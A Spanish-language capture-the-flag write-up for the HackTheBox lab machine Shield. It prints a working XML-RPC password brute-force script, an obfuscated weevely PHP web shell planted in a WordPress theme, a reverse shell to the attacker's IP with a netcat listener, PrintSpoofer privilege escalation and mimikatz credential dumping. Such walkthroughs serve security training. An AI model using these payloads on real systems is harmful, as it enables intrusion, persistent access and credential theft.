Skip to content

Shield

Difficulty : Very Easy
Operating System : Windows
Rating : 3.8
Author : TRX

Description

Esta maquina es la cuarta del set "Starting Point". Tras explotar una vulnerabilidad archiconocida de WordPress nos enfrentaremos a un WindowsServer desactualizado con privilegios inseguros... esta maquina es sencilla pero siempre podremos aprender algo en el camino

Enumeration

Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.

Descarga: HTBenum

Nmap

Nmap scan report for shield.htb (10.10.10.29)
Host is up (0.062s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3306/tcp open  mysql   MySQL (unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Whatweb

http://shield.htb [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.29], Microsoft-IIS[10.0], Title[IIS Windows Server]

HTTP Headers

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 04 Feb 2020 13:15:51 GMT
Accept-Ranges: bytes
ETag: "e7e60395ddbd51:0"
Server: Microsoft-IIS/10.0
Date: Sun, 01 Aug 2021 19:32:43 GMT
Content-Length: 703

ffuz

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://shield.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

wordpress               [Status: 301, Size: 151, Words: 9, Lines: 2]
WordPress               [Status: 301, Size: 151, Words: 9, Lines: 2]
Wordpress               [Status: 301, Size: 151, Words: 9, Lines: 2]
:: Progress: [220545/220545] :: Job [1/1] :: 659 req/sec :: Duration: [0:05:41] :: Errors: 0 ::

Nikto

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.29
+ Target Hostname:    shield.htb
+ Target Port:        80
+ Start Time:         2021-08-01 14:45:24 (GMT2)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ Retrieved x-powered-by header: PHP/7.1.29
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wordpress/wp-login.php: Wordpress login found
+ 7967 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2021-08-01 14:54:15 (GMT2) (531 seconds)
---------------------------------------------------------------------------

WPScan

[root@htb shield]# wpscan --url http://shield.htb/Wordpress/ -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://shield.htb/Wordpress/ [10.10.10.29]
[+] Started: Sun Aug  1 15:53:26 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Microsoft-IIS/10.0
 |  - X-Powered-By: PHP/7.1.29
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://shield.htb/Wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://shield.htb/Wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://shield.htb/Wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.2.1 identified (Insecure, released on 2019-05-21).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://shield.htb/Wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.2.1'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://shield.htb/Wordpress/, Match: 'WordPress 5.2.1'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:05 <=======================================================================================================> (10 / 10) 100.00% Time: 00:00:05

[i] User(s) Identified:

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

User Own

Tras analizar los outputs de la enumeracion anterior, podemos ver como tenemos un wordpress alojado en nuestra maquina objetivo. La herramienta wp-scan nos dice que ha encontrado un usuario llamado admin y que tenemos el servicio XML-RPC habilitado. Existen muchas herramientas para explotar vulnerabilidades relacionadas con esta funcionalidad, pero como estamos camino del OSCP y buscamos comprender las cosas mas que lanzar herramientas a lo loco, he decidido crear un sencillo script en bash que explota el metodo wp.getUsersBlogs

bruteshield.sh

#!/usr/bin/env bash
# lorka xmlrpc bruteforce exploit for shield HTB

trap 'rm -rf "${TMPFILE}"' EXIT

TMPFILE=$(mktemp)
URL="http://shield.htb/Wordpress/xmlrpc.php"
WORDLIST="megacorp_wordlist.txt"

for i in $(cat ${WORDLIST});do
cat << EOF > ${TMPFILE}
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>$i</value></param>
</params>
</methodCall>
EOF

echo -e "[X] Trying.. $i"
curl -s -d @${TMPFILE} ${URL} |grep "isAdmin" 1>/dev/null 2>/dev/null && echo -e "[+] Password Found: $i"
done

El funcionamiento es muy basico:
- Seteamos la url y leemos un archivo que contendra las palabras a probar
- Creamos un for que actuara con cada palabra encontrada en el diccionario
- Dentro del for generamos un xml donde colocamos al usuario conocido admin y la palabra a probar
- Lanzamos un curl y grepeamos isAdmin que es la request valida cuando funcione nuestra palabra, el resto de requests daran un 403

megacorp_wordlist.txt

741852963
qwerty789
P@s5w0rd!postgres
P@s5w0rd!
MEGACORP_4dm1n!!
mc@F1l3ZilL4
M3g4C0rpUs3r!
M3g4c0rp123

El diccionario anterior es una recopilacion de todas las passwords encontradas en las maquinas del set "Starting Point" hasta ahora.
Vamos a probarlo!!

[root@htb shield]# ./bruteshield.sh
[X] Trying.. 741852963
[X] Trying.. 2d58e0637ec1e94cdfba3d1c26b67d01
[X] Trying.. 2cb42f8734ea607eefed3b70af13bbd3
[X] Trying.. qwerty789
[X] Trying.. P@s5w0rd!postgres
[X] Trying.. P@s5w0rd!
[+] Password Found: P@s5w0rd!
[X] Trying.. MEGACORP_4dm1n!!
[X] Trying.. mc@F1l3ZilL4
[X] Trying.. M3g4C0rpUs3r!
[X] Trying.. M3g4c0rp123

Estupendo! ya tenemos la password
P@s5w0rd!

Ahora toca.. reverse shell! vamos a generar una webshell con weevely , copiaremos el php malicioso y lo insertaremos dentro del tema en la plantilla 404.php

[root@htb shield]# weevely generate lala evil.php
Generated 'evil.php' with password 'lala' of 781 byte size.

evil.php

<?php
$C='"[P[PFEQboGNwQ9CG[Pg[Pcp9[P";function[P x($t,$k){[P$c=strl[Pe[Pn($k);[P$l=st';
$I='$k="2e[P38172[P9[P";$kh="3fc2[P75dbee74[P";$kf="[Pb[Pd71ce6eb056[P";$p=';
$y='Pse[P64_encode(@[Px(@gzcom[Ppre[Pss($o),[P$k)[P)[P[P;print("$p$kh$r$kf");}';
$H=str_replace('Oj','','cOjOjrOjeOjate_OjOjfunction');
$L='[Ptch([P[P"/$kh(.+)$kf/",[P@file_get[P_conten[Pt[Ps[P("php://input"),$m)';
$N='[P<$l);$j++,$i++){$o.=$t{$i}^[P$k[P{$j}[P;}}return $o[P;}i[Pf (@p[Preg_m[Pa';
$l='($m[1[P]),$k[P)));$o=@[Pob_g[Pet_co[Pnten[Pts();[P@o[Pb_end_clean();$r[P=@ba[';
$f='[P==1)[P {@ob_star[Pt();@e[Pval(@[Pgzu[Pnc[Pompress(@x(@ba[Pse64_d[Peco[Pde';
$o='rlen($[P[Pt);[P$o="";for($i=[P0[P;$i<$l;){for([P[P$j=0[P;($j<$c[P&&[P$[Pi';
$S=str_replace('[P','',$I.$C.$o.$N.$L.$f.$l.$y);
$b=$H('',$S);$b();
?>

Ejecutamos weevely construyendo correctamente la url y...

[root@htb shield]# weevely http://shield.htb/Wordpress/wp-content/themes/twentynineteen/404.php lala

[+] weevely 4.0.1

[+] Target:     Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen
[+] Session:    /root/.weevely/sessions/shield.htb/404_0.session
[+] Shell:      System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> whoami
nt authority\iusr
Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $

Root Own

Lo primero que hago antes de seguir enumerando es leer el archivo wp-config.php ya que estamos delante de un wordpress y en ese fichero se almacenan las claves de la base de datos en claro

Shield:C:\inetpub\wwwroot\wordpress $ type wp-config.php
-- SNIP --
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress124');

/** MySQL database username */
define('DB_USER', 'wordpressuser124');

/** MySQL database password */
define('DB_PASSWORD', 'P_-U9dA6q.B|');
wordpress124
wordpressuser124
P_-U9dA6q.B|

A continuacion seguimos con la enumeracion y obtenemos informacion del sistema

Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $ systeminfo

Host Name:                 SHIELD
OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00376-30000-00299-AA303
Original Install Date:     2/4/2020, 12:58:01 PM
System Boot Time:          7/31/2021, 4:19:12 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 838 MB
Virtual Memory: Max Size:  2,431 MB
Virtual Memory: Available: 1,109 MB
Virtual Memory: In Use:    1,322 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    MEGACORP.LOCAL
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.29
                                 [02]: fe80::446d:2a0c:7aa3:8d93
                                 [03]: dead:beef::446d:2a0c:7aa3:8d93
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Estamos ante un windows 2016 server .. veamos que permisos tenemos

Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $ whoami /all

USER INFORMATION
----------------

User Name         SID
================= ========
nt authority\iusr S-1-5-17


GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label            S-1-16-12288
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Group used for deny only
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name          Description                               State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
SeImpersonatePrivilege  Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects                     Enabled

El tener el privilegio SeImpersonatePrivilege nos permite explotar el sistema de diferentes maneras. Haciendo una busqueda en google he dado con este exploit que tiene un articulo donde explica el funcionamiento de la vulnerabilidad. Pero al intentar ejecutarlo desde la shell de weevely no lo he conseguido, porque no dispongo de una shell interactiva. Para ello y antes de explotar la vulnerabilidad voy a descargar la shell ConPtyShell y la subire al servidor usando la utilidad :file_upload de weevely

Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $ :file_upload ConPtyShell.exe shell.exe
True

a continuacion preparo mi entorno para recibir la shell tal y como explican en el README de la herramienta

# 1) pongo a la escucha un netcat en mi maquina de trabajo
[root@htb shield]# stty raw -echo; (stty size; cat) | nc -lvnp 7789
listening on [any] 7789 ...

# 2) lanzo la reverse shell
Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $ shell.exe 10.10.14.21 7789

# 3) recibo la shell
[root@htb shield]# stty raw -echo; (stty size; cat) | nc -lvnp 7789
listening on [any] 7789 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.29] 65062

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen>

Ahora si, voy a subir el exploit PrintSpoofer y a ejecutarlo. Al igual que antes voy a utilizar weevely para la subida

# 1) tty weevely
Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $ :file_upload PrintSpoofer64.exe xpl.exe
True

# 2) tty ConPtyShell
.\xpl.exe -i -c powershell
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system

PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/31/2021  11:46 PM                tmp
-ar---        2/25/2020   1:28 PM             32 root.txt

EXTRA: tenemos un usuario llamado sandra y vamos a recuperar su contraseña con la herramienta mimikatz

Lo subimos con weevely

Shield:C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen $ :file_upload mimikatz.exe mimikatz.exe
True

Ejecutamos con la opcion sekurlsa::logonpasswords

PS C:\inetpub\wwwroot\wordpress\wp-content\themes\twentynineteen> .\mimikatz.exe sekurlsa::logonpasswords
  .#####.   mimikatz 2.2.0 (x64) #19041 Jul 29 2021 11:16:51
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 289603 (00000000:00046b43)
Session           : Interactive from 1
User Name         : sandra
Domain            : MEGACORP
Logon Server      : PATHFINDER
Logon Time        : 7/31/2021 4:20:37 PM
SID               : S-1-5-21-1035856440-4137329016-3276773158-1105
        msv :
         [00000003] Primary
         * Username : sandra
         * Domain   : MEGACORP
         * NTLM     : 29ab86c5c4d2aab957763e5c1720486d
         * SHA1     : 8bd0ccc2a23892a74dfbbbb57f0faa9721562a38
         * DPAPI    : f4c73b3f07c4f309ebf086644254bcbc
        tspkg :
        wdigest :
         * Username : sandra
         * Domain   : MEGACORP
         * Password : (null)
        kerberos :
         * Username : sandra
         * Domain   : MEGACORP.LOCAL
         * Password : Password1234!
        ssp :
        credman :
sandra
Password1234!

ojo cuidao tenemos pista... Logon Server : PATHFINDER es el nombre de la siguiente maquina...

Back to top